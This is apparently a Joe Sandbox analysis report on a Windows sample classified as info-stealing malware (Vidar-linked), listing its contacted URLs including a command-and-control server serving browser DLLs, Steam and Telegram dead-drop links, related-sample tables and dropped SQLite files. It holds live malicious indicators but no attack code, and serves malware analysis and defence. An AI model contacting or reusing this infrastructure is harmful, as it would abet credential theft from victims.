https://65.108.152.56:9000el	RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=.TP5s6TzX6LLh&	RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	false		high
https://65.108.152.56:9000/freebl3.dll	RegAsm.exe, 00000001.00000002.2881273063.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2881326562.0000000000EA4000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=Wd0kCESeJquW&l=	RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	false		high
https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw&	RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	false		high
http://store.steampowered.com/privacy_agreement/	RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	false		high
https://65.108.152.56:9000/o	RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/css/applications/community/main.css?v=tIrWyaxi8A	RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	false		high
https://community.cloudflare.steamstatic.com/public/shared/css/shared_responsive.css?v=eghn9DNyCY67&	RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	false		high
https://store.steampowered.com/points/shop/	RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	IEHJJE.1.dr	false		high
https://65.108.152.56:9000/W	RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp	false	9%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	RegAsm.exe, 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmp, HDBKJE.1.dr	false		high
https://community.cloudflare.steamstatic.com/public/css/promo/summer2017/stickers.css?v=bZKSp7oNwVPK	RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	false		high
https://community.cloudflare.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&amp	RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	false		high
https://steamcommunity.com/profiles/76561199680449169/badges	RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	false		high
https://www.ecosia.org/newtab/	IEHJJE.1.dr	false		high
https://65.108.152.56:9000/msvcp140.dllt	RegAsm.exe, 00000001.00000002.2881273063.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/privacy_agreement/	RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	false		high
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	false		high
https://65.108.152.56:9000/G	RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://65.108.152.56:9000/D	RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp	false	7%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=2VoZa2M8Wh3k&	RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	false		high
https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	false		high
https://65.108.152.56:9000/soft	RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://65.108.152.56:9000/softokn3.dll	RegAsm.exe, 00000001.00000002.2881273063.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://65.108.152.56:9000softokn3.dlldge	RegAsm.exe, 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/libraries~b28b	RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	false		high
https://65.108.152.56:9000/	RegAsm.exe, 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://65.108.152.56:9000/7	RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png	RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	false		high
https://65.108.152.56:9000/dZ	RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://65.108.152.56:9000/mozglue.dllEdge	RegAsm.exe, 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	HDBKJE.1.dr	false		high
https://65.108.152.56:9000ing	RegAsm.exe, 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://store.steampowered.com/about/	76561199680449169[1].htm.1.dr	false		high
https://steamcommunity.com/my/wishlist/	RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	false		high
https://community.cloudflare.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC&	RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	false		high
https://65.108.152.56/	RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://65.108.152.56:9000/sqlx.dllg	RegAsm.exe, 00000001.00000002.2881415199.0000000000F95000.00000004.00000020.00020000.00000000.sdmp	false	9%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://65.108.152.56:9000/vcruntime140.dll_7)	RegAsm.exe, 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://help.steampowered.com/en/	RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	false		high
https://steamcommunity.com/market/	RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	false		high
https://store.steampowered.com/news/	RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	false		high
https://community.cloudflare.steamstatic.com/public/shared/javascript/toolt	RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=PyuRtGtUpR0t&l=englis	RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	IEHJJE.1.dr	false		high
http://store.steampowered.com/subscriber_agreement/	RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	false		high
https://steamcommunity.com/login/home/?goto=profiles%2F76561199680449169	76561199680449169[1].htm.1.dr	false		high
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=	RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	false		high
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	RegAsm.exe, 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmp, HDBKJE.1.dr	false		high
https://steamcommunity.com/discussions/	RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	false		high
https://t.me/r1g1o	file.exe, 00000000.00000002.1632108400.0000000003D65000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, RegAsm.exe, 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
https://store.steampowered.com/stats/	RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	false		high
https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0&amp	RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	false		high
https://65.108.152.56:9000lGoogle	RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://store.steampowered.com/steam_refunds/	RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	false		high
https://community.cloudflare.steamstatic.com/public/images/skin_1/arrowDn9x5.gif	RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	false		high
https://65.108.152.56:9000/freebl3.dll4	RegAsm.exe, 00000001.00000002.2881326562.0000000000EA4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v	RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	HDBKJE.1.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	IEHJJE.1.dr	false		high
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.p	RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	false		high
https://65.108.152.56:9000l	RegAsm.exe, 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://65.108.152.56:9000/ng	RegAsm.exe, 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://65.108.152.56:9000/msvcp140.dll	RegAsm.exe, 00000001.00000002.2881273063.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://65.108.152.56:9000e1a3fmium	RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://steamcommunity.com/workshop/	RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	false		high
https://store.steampowered.com/legal/	RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	false		high
https://65.108.152.56:9000/L~	RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/images/r	RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp	false		high
http://www.sqlite.org/copyright.html.	RegAsm.exe, 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2882085104.0000000015737000.00000004.00000020.00020000.00000000.sdmp, sqlx[1].dll.1.dr	false		high
https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=tuNiaSwXwcYT&l=engl	RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	false		high
https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=GfSjbGKcNYaQ&l=	76561199680449169[1].htm.1.dr	false		high
https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=gNE3gksLVEVa&l=en	RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	IEHJJE.1.dr	false		high
https://65.108.152.56:9000/sqlx.dll	RegAsm.exe, 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmp	false	4%, Virustotal, Browse Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
65.108.152.56	unknown	United States		11022	ALABANZA-BALTUS	false
104.105.90.131	steamcommunity.com	United States		16625	AKAMAI-ASUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1437185
Start date and time:	2024-05-07 05:28:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/12@1/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 97% Number of executed functions: 62 Number of non-executed functions: 235
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 104.102.251.17, 104.102.251.89
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, a767.dspw65.akamai.net, wu-b-net.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
05:28:58	API Interceptor	1x Sleep call for process: RegAsm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
104.105.90.131	https://www.steamvr.com/de/	Get hash	malicious	Unknown	Browse
	https://steamcommunitlu.com/	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	tZvjMg3Hw9.exe	Get hash	malicious	PureLog Stealer, RedLine, RisePro Stealer, Vidar, zgRAT	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	ss.exe	Get hash	malicious	CryptOne	Browse
	ss.exe	Get hash	malicious	CryptOne	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	https://administracionglobal.com	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://aeno.co.jp.reqwcmjr.cn/aeon	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://aeno.co.jp.wxoqpatm.cn/aeon	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://govindaaamma.z28.web.core.windows.net/	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://cloude-15e5.karsonjacobsen.workers.dev/d2d7e935-4585-4825-8391-46e4c9be230d	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://windowsprogramdangererrorfoundcritical.kesug.com/?i=3	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://aeno.co.jp.tckukspz.cn/aeon	Get hash	malicious	Unknown	Browse	199.232.214.172
	http://cpmcontsruction.com/DtRZMU	Get hash	malicious	Unknown	Browse	199.232.210.172
	http://ppmm.care	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	199.232.210.172
	May-Document-6_2024-5062.xlsx	Get hash	malicious	Unknown	Browse	199.232.210.172
steamcommunity.com	Gj8P0mbklo.exe	Get hash	malicious	Arc Stealer	Browse	23.61.62.148
	onxLpsxpVP.exe	Get hash	malicious	Arc Stealer	Browse	23.61.62.148
	https://www.steamvr.com/de/	Get hash	malicious	Unknown	Browse	104.71.182.190
	https://steamcommunitlu.com/	Get hash	malicious	Unknown	Browse	104.96.244.29
	BS4GDarWw6.exe	Get hash	malicious	Vidar	Browse	23.66.133.162
	file.exe	Get hash	malicious	Vidar	Browse	184.87.56.26
	file.exe	Get hash	malicious	Vidar	Browse	104.105.90.131
	file.exe	Get hash	malicious	Vidar	Browse	184.87.56.26
	tZvjMg3Hw9.exe	Get hash	malicious	PureLog Stealer, RedLine, RisePro Stealer, Vidar, zgRAT	Browse	104.105.90.131
	file.exe	Get hash	malicious	Vidar	Browse	104.105.90.131

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASUS	23cu4ulxOg.elf	Get hash	malicious	Mirai	Browse	172.225.201.2
	condition-agreement_2024_05_06_26.lnk.bin.lnk	Get hash	malicious	BumbleBee	Browse	104.71.240.137
	https://docfilsxviews.webflow.io/	Get hash	malicious	Unknown	Browse	23.61.53.95
	Gj8P0mbklo.exe	Get hash	malicious	Arc Stealer	Browse	23.61.62.148
	onxLpsxpVP.exe	Get hash	malicious	Arc Stealer	Browse	23.61.62.148
	#U00d6deme makbuzu ektedir.docx.doc	Get hash	malicious	Unknown	Browse	96.17.61.58
	powershell.exe	Get hash	malicious	Unknown	Browse	23.193.120.112
	pDWZMd3100.elf	Get hash	malicious	Mirai, Gafgyt	Browse	23.40.23.231
	bot.arm6.elf	Get hash	malicious	Mirai	Browse	96.16.159.21
	https://www.steamvr.com/de/	Get hash	malicious	Unknown	Browse	23.50.124.114
ALABANZA-BALTUS	BS4GDarWw6.exe	Get hash	malicious	Vidar	Browse	65.108.93.119
	e5oMWYWLig.exe	Get hash	malicious	RedLine	Browse	65.108.19.51
	WFdAK6HQgz.elf	Get hash	malicious	Unknown	Browse	65.109.195.235
	FATURA PROFORMA.exe	Get hash	malicious	AgentTesla	Browse	65.108.69.93
	SecuriteInfo.com.Trojan.InstallCore.4086.15026.2213.exe	Get hash	malicious	PrivateLoader, PureLog Stealer	Browse	65.108.134.122
	file.exe	Get hash	malicious	Vidar	Browse	65.109.242.73
	SecuriteInfo.com.Trojan.PWS.RedLineNET.9.27772.28937.exe	Get hash	malicious	Phonk Miner, PureLog Stealer, Vidar	Browse	65.109.242.73
	file.exe	Get hash	malicious	Vidar	Browse	65.109.242.73
	file.exe	Get hash	malicious	Vidar	Browse	65.109.242.73
	QBv5s2bHnV.elf	Get hash	malicious	Unknown	Browse	64.176.126.17

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	Transferencia-Caixa Bank.exe	Get hash	malicious	Discord Token Stealer, GuLoader	Browse	104.105.90.131
	HXUYIDwIMY.exe	Get hash	malicious	Meduza Stealer	Browse	104.105.90.131
	Gj8P0mbklo.exe	Get hash	malicious	Arc Stealer	Browse	104.105.90.131
	onxLpsxpVP.exe	Get hash	malicious	Arc Stealer	Browse	104.105.90.131
	SecuriteInfo.com.NSIS.MalwareX-gen.17953.29383.exe	Get hash	malicious	GuLoader	Browse	104.105.90.131
	EXP263 Grupa Decora ARKU8341370 1x40.exe	Get hash	malicious	GuLoader, Remcos	Browse	104.105.90.131
	List of our requirements 06520204Fly Wing.vbs	Get hash	malicious	FormBook, GuLoader	Browse	104.105.90.131
	EXP263 Decora Group ARKU8341370 1x40.exe	Get hash	malicious	GuLoader, Remcos	Browse	104.105.90.131
	73zGJqwgDy.exe	Get hash	malicious	MofongoLoader	Browse	104.105.90.131
	J5kltefeTK.exe	Get hash	malicious	MofongoLoader	Browse	104.105.90.131

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sqlx[1].dll	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	tZvjMg3Hw9.exe	Get hash	malicious	PureLog Stealer, RedLine, RisePro Stealer, Vidar, zgRAT	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	WlCIinu0yp.exe	Get hash	malicious	LummaC Stealer, PureLog Stealer, RedLine, RisePro Stealer, Socks5Systemz, Vidar, zgRAT	Browse
	file.exe	Get hash	malicious	LummaC, GCleaner, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	0dN59ZIkEM.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse

Created / dropped Files

C:\ProgramData\AEGIJKEHCAKF\BKKFHI

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AEGIJKEHCAKF\GDBAKK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	modified
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AEGIJKEHCAKF\GHJJDG

Download File

